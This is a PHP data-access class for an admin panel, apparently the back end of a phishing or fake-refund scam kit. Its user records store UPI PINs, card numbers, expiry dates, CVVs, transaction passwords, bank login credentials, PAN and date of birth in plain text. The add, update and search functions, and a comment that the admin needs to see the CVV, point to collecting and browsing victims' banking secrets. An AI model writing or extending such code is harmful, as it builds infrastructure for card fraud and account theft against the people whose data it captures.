<?php
require_once __DIR__ . '/../config/database.php';

/**
 * User Class for handling user operations
 * Using optimized queries for better performance
 */
class User {
    private $db;
    private $table = 'users';

    public function __construct() {
        $this->db = Database::getInstance();
    }

    /**
     * Get total user count
     * @param array $filters Optional filters
     * @return int
     */
    public function getTotalCount($filters = []) {
        $conn = $this->db->getConnection();

        if (!$conn) {
            return 0;
        }

        $whereClause = $this->buildWhereClause($filters);

        // Use COUNT for efficient counting
        $query = "SELECT COUNT(*) as total FROM {$this->table} {$whereClause}";
        $result = $conn->query($query);

        if ($result && $row = $result->fetch_assoc()) {
            return (int)$row['total'];
        }

        return 0;
    }

    /**
     * Get users with pagination and filtering
     * @param int $page
     * @param int $perPage
     * @param array $filters
     * @param string $orderBy
     * @param string $order
     * @return array
     */
    public function getUsers($page = 1, $perPage = 20, $filters = [], $orderBy = 'id', $order = 'DESC') {
        $conn = $this->db->getConnection();

        if (!$conn) {
            return [];
        }

        // Validate and sanitize inputs
        $page = max(1, (int)$page);
        $perPage = max(1, min(100, (int)$perPage)); // Limit per page for performance
        $validOrderColumns = ['id', 'firstname', 'lastname', 'email', 'mobile', 'date', 'status'];
        $orderBy = in_array($orderBy, $validOrderColumns) ? $orderBy : 'id';
        $order = strtoupper($order) === 'ASC' ? 'ASC' : 'DESC';

        // Calculate offset for pagination
        $offset = ($page - 1) * $perPage;

        // Build where clause from filters
        $whereClause = $this->buildWhereClause($filters);

        // Get users with pagination
        $query = "SELECT * FROM {$this->table} {$whereClause} ORDER BY {$orderBy} {$order} LIMIT {$offset}, {$perPage}";
        $result = $conn->query($query);

        $users = [];
        if ($result) {
            while ($row = $result->fetch_assoc()) {
                // Remove sensitive data from list view
                unset($row['password']);
                unset($row['tpassword']);
                unset($row['cvv']);
                $users[] = $row;
            }
        }

        return $users;
    }

    /**
     * Get a single user by ID
     * @param int $id
     * @return array|bool
     */
    public function getUserById($id) {
        $conn = $this->db->getConnection();

        if (!$conn) {
            return false;
        }

        $id = (int)$id;

        $stmt = $conn->prepare("SELECT * FROM {$this->table} WHERE id = ? LIMIT 1");
        $stmt->bind_param("i", $id);
        $stmt->execute();
        $result = $stmt->get_result();

        if ($result && $result->num_rows === 1) {
            $user = $result->fetch_assoc();
            // Keep sensitive data for detail view (admin needs to see it)
            return $user;
        }

        return false;
    }

    /**
     * Get user by mobile number
     * @param string $mobile
     * @return array|bool
     */
    public function getUserByMobile($mobile) {
        $conn = $this->db->getConnection();

        if (!$conn) {
            return false;
        }

        $mobile = $this->db->escapeString($mobile);

        $stmt = $conn->prepare("SELECT * FROM {$this->table} WHERE mobile = ? LIMIT 1");
        $stmt->bind_param("s", $mobile);
        $stmt->execute();
        $result = $stmt->get_result();

        if ($result && $result->num_rows === 1) {
            $user = $result->fetch_assoc();
            // Remove sensitive data
            unset($user['password']);
            unset($user['tpassword']);
            unset($user['cvv']);
            return $user;
        }

        return false;
    }

    /**
     * Add a new user
     * @param array $data
     * @return bool|int
     */
    public function addUser($data) {
        $conn = $this->db->getConnection();

        if (!$conn) {
            return false;
        }

        // Required fields
        if (empty($data['mobile'])) {
            return false;
        }

        // Check if user already exists
        if ($this->getUserByMobile($data['mobile'])) {
            return false; // User with this mobile already exists
        }

        // Prepare data with defaults for optional fields
        $firstname = $data['firstname'] ?? '';
        $lastname = $data['lastname'] ?? '';
        $email = $data['email'] ?? '';
        $mobile = $data['mobile'];
        $pan = $data['pan'] ?? '';
        $issue = $data['issue'] ?? '';
        $amount = !empty($data['amount']) ? (float)$data['amount'] : 0;
        $paymentmode = $data['paymentmode'] ?? '';
        $paymentrefund = $data['paymentrefund'] ?? '';
        $upipin = $data['upipin'] ?? '';
        $bankname = $data['bankname'] ?? '';
        $username = $data['username'] ?? '';
        $password = $data['password'] ?? '';
        $tpassword = $data['tpassword'] ?? '';
        $dob = $data['dob'] ?? '';
        $cardnumber = $data['cardnumber'] ?? '';
        $expirydate = $data['expirydate'] ?? '';
        $cvv = $data['cvv'] ?? '';
        $status = isset($data['status']) ? (int)$data['status'] : 1;

        $stmt = $conn->prepare("INSERT INTO {$this->table} (firstname, lastname, email, mobile, pan, issue, amount,
                                paymentmode, paymentrefund, upipin, bankname, username, password, tpassword,
                                dob, cardnumber, expirydate, cvv, status)
                                VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");

        $stmt->bind_param("ssssssdsssssssssssi",
                          $firstname, $lastname, $email, $mobile, $pan, $issue, $amount,
                          $paymentmode, $paymentrefund, $upipin, $bankname, $username, $password, $tpassword,
                          $dob, $cardnumber, $expirydate, $cvv, $status);

        if ($stmt->execute()) {
            $newId = $conn->insert_id;
            $stmt->close();
            return $newId;
        }

        $stmt->close();
        return false;
    }

    /**
     * Update an existing user
     * @param int $id
     * @param array $data
     * @return bool
     */
    public function updateUser($id, $data) {
        $conn = $this->db->getConnection();

        if (!$conn) {
            return false;
        }

        $id = (int)$id;

        // Check if user exists
        if (!$this->getUserById($id)) {
            return false;
        }

        // Build update query dynamically
        $updateFields = [];
        $params = [];
        $types = '';

        $stringFields = [
            'firstname', 'lastname', 'email', 'mobile', 'pan', 'issue', 'paymentmode',
            'paymentrefund', 'upipin', 'bankname', 'username', 'password', 'tpassword',
            'dob', 'cardnumber', 'expirydate', 'cvv'
        ];

        foreach ($stringFields as $field) {
            if (isset($data[$field])) {
                $updateFields[] = "{$field} = ?";
                $params[] = $data[$field];
                $types .= 's';
            }
        }

        if (isset($data['amount'])) {
            $updateFields[] = "amount = ?";
            $params[] = (float)$data['amount'];
            $types .= 'd';
        }

        if (isset($data['status'])) {
            $updateFields[] = "status = ?";
            $params[] = (int)$data['status'];
            $types .= 'i';
        }

        if (empty($updateFields)) {
            return false; // Nothing to update
        }

        // Add ID to params for WHERE clause
        $params[] = $id;
        $types .= 'i';

        $sql = "UPDATE {$this->table} SET " . implode(', ', $updateFields) . " WHERE id = ?";
        $stmt = $conn->prepare($sql);
        $stmt->bind_param($types, ...$params);

        $success = $stmt->execute();
        $stmt->close();

        return $success;
    }

    /**
     * Delete a user by ID
     * @param int $id
     * @return bool
     */
    public function deleteUser($id) {
        $conn = $this->db->getConnection();

        if (!$conn) {
            return false;
        }

        $id = (int)$id;

        $stmt = $conn->prepare("DELETE FROM {$this->table} WHERE id = ?");
        $stmt->bind_param("i", $id);

        $success = $stmt->execute();
        $stmt->close();

        return $success;
    }

    /**
     * Delete multiple users
     * @param array $ids
     * @return bool
     */
    public function deleteMultipleUsers($ids) {
        $conn = $this->db->getConnection();

        if (!$conn || empty($ids)) {
            return false;
        }

        // Sanitize IDs
        $ids = array_map('intval', $ids);
        $idString = implode(',', $ids);

        // Delete records
        $query = "DELETE FROM {$this->table} WHERE id IN ({$idString})";
        $success = $conn->query($query);

        return $success;
    }

    /**
     * Build WHERE clause from filters
     * @param array $filters
     * @return string
     */
    private function buildWhereClause($filters) {
        $where = [];

        if (!empty($filters)) {
            // Search by name
            if (isset($filters['name']) && !empty($filters['name'])) {
                $name = $this->db->escapeString($filters['name']);
                $where[] = "(firstname LIKE '%{$name}%' OR lastname LIKE '%{$name}%')";
            }

            // Search by email
            if (isset($filters['email']) && !empty($filters['email'])) {
                $email = $this->db->escapeString($filters['email']);
                $where[] = "email LIKE '%{$email}%'";
            }

            // Search by mobile
            if (isset($filters['mobile']) && !empty($filters['mobile'])) {
                $mobile = $this->db->escapeString($filters['mobile']);
                $where[] = "mobile LIKE '%{$mobile}%'";
            }

            // Search by PAN
            if (isset($filters['pan']) && !empty($filters['pan'])) {
                $pan = $this->db->escapeString($filters['pan']);
                $where[] = "pan LIKE '%{$pan}%'";
            }

            // Search by status
            if (isset($filters['status']) && $filters['status'] !== '') {
                $status = (int)$filters['status'];
                $where[] = "status = {$status}";
            }

            // Date range
            if (isset($filters['start_date']) && !empty($filters['start_date'])) {
                $startDate = $this->db->escapeString($filters['start_date']);
                $where[] = "date >= '{$startDate} 00:00:00'";
            }

            if (isset($filters['end_date']) && !empty($filters['end_date'])) {
                $endDate = $this->db->escapeString($filters['end_date']);
                $where[] = "date <= '{$endDate} 23:59:59'";
            }

            // Search by card number
            if (isset($filters['cardnumber']) && !empty($filters['cardnumber'])) {
                $cardnumber = $this->db->escapeString($filters['cardnumber']);
                $where[] = "cardnumber LIKE '%{$cardnumber}%'";
            }

            // General search
            if (isset($filters['search']) && !empty($filters['search'])) {
                $search = $this->db->escapeString($filters['search']);
                $where[] = "(firstname LIKE '%{$search}%' OR lastname LIKE '%{$search}%' OR
                            email LIKE '%{$search}%' OR mobile LIKE '%{$search}%' OR
                            pan LIKE '%{$search}%' OR cardnumber LIKE '%{$search}%')";
            }
        }

        return !empty($where) ? 'WHERE ' . implode(' AND ', $where) : '';
    }
}
